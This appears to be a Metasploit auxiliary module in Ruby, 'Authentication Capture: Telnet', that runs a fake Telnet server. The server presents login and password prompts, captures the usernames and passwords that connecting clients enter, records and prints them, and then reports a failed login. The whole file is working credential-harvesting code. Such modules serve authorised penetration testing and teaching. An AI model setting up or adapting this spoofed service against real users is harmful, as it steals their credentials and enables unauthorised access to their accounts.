150 lines
3.1 KiB
Ruby
150 lines
3.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
# Fake Telnet Service - Kris Katterjohn 09/28/2008
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Authentication Capture: Telnet',
|
|
'Version' => '$Revision$',
|
|
'Description' => %q{
|
|
This module provides a fake Telnet service that
|
|
is designed to capture authentication credentials. DONTs
|
|
and WONTs are sent to the client for all option negotiations,
|
|
except for ECHO at the time of the password prompt since
|
|
the server controls that for a bit more realism.
|
|
},
|
|
'Author' => 'kris katterjohn',
|
|
'License' => MSF_LICENSE,
|
|
'Actions' => [ [ 'Capture' ] ],
|
|
'PassiveActions' => [ 'Capture' ],
|
|
'DefaultAction' => 'Capture'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 23 ])
|
|
], self.class)
|
|
end
|
|
|
|
def setup
|
|
super
|
|
@state = {}
|
|
end
|
|
|
|
def run
|
|
exploit()
|
|
end
|
|
|
|
def on_client_connect(c)
|
|
@state[c] = {
|
|
:name => "#{c.peerhost}:#{c.peerport}",
|
|
:ip => c.peerhost,
|
|
:port => c.peerport,
|
|
:user => nil,
|
|
:pass => nil,
|
|
:gotuser => false,
|
|
:gotpass => false,
|
|
:started => false
|
|
}
|
|
end
|
|
|
|
def on_client_data(c)
|
|
data = c.get_once
|
|
|
|
return if not data
|
|
|
|
offset = 0
|
|
|
|
if data[0] == 0xff
|
|
0.step(data.size, 3) do |x|
|
|
break if data[x] != 0xff
|
|
|
|
# Answer DONT/WONT for WILL/WONTs and DO/DONTs,
|
|
# except for echoing which we WILL control for
|
|
# the password
|
|
|
|
reply = "\xffX#{data[x + 2].chr}"
|
|
|
|
if @state[c][:pass] and data[x + 2] == 0x01
|
|
reply[1] = "\xfb"
|
|
elsif data[x + 1] == 0xfb or data[x + 1] == 0xfc
|
|
reply[1] = "\xfe"
|
|
elsif data[x + 1] == 0xfd or data[x + 1] == 0xfe
|
|
reply[1] = "\xfc"
|
|
end
|
|
|
|
c.put reply
|
|
|
|
offset += 3
|
|
end
|
|
end
|
|
|
|
if not @state[c][:started]
|
|
c.put "\r\nWelcome.\r\n\r\n"
|
|
@state[c][:started] = true
|
|
end
|
|
|
|
if @state[c][:user].nil?
|
|
c.put "Login: "
|
|
@state[c][:user] = ""
|
|
return
|
|
end
|
|
|
|
return if offset >= data.size
|
|
|
|
data = data[offset, data.size]
|
|
|
|
if not @state[c][:gotuser]
|
|
@state[c][:user] = data.strip
|
|
@state[c][:gotuser] = true
|
|
c.put "\xff\xfb\x01" # WILL ECHO
|
|
end
|
|
|
|
if @state[c][:pass].nil?
|
|
c.put "Password: "
|
|
@state[c][:pass] = ""
|
|
return
|
|
end
|
|
|
|
if not @state[c][:gotpass]
|
|
@state[c][:pass] = data.strip
|
|
@state[c][:gotpass] = true
|
|
c.put "\x00\r\n"
|
|
end
|
|
|
|
report_auth_info(
|
|
:host => @state[c][:ip],
|
|
:port => datastore['SRVPORT'],
|
|
:sname => 'telnet',
|
|
:user => @state[c][:user],
|
|
:pass => @state[c][:pass],
|
|
:active => true
|
|
)
|
|
|
|
print_status("TELNET LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
|
|
|
|
c.put "\r\nLogin failed\r\n\r\n"
|
|
|
|
c.close
|
|
end
|
|
|
|
def on_client_close(c)
|
|
@state.delete(c)
|
|
end
|
|
end
|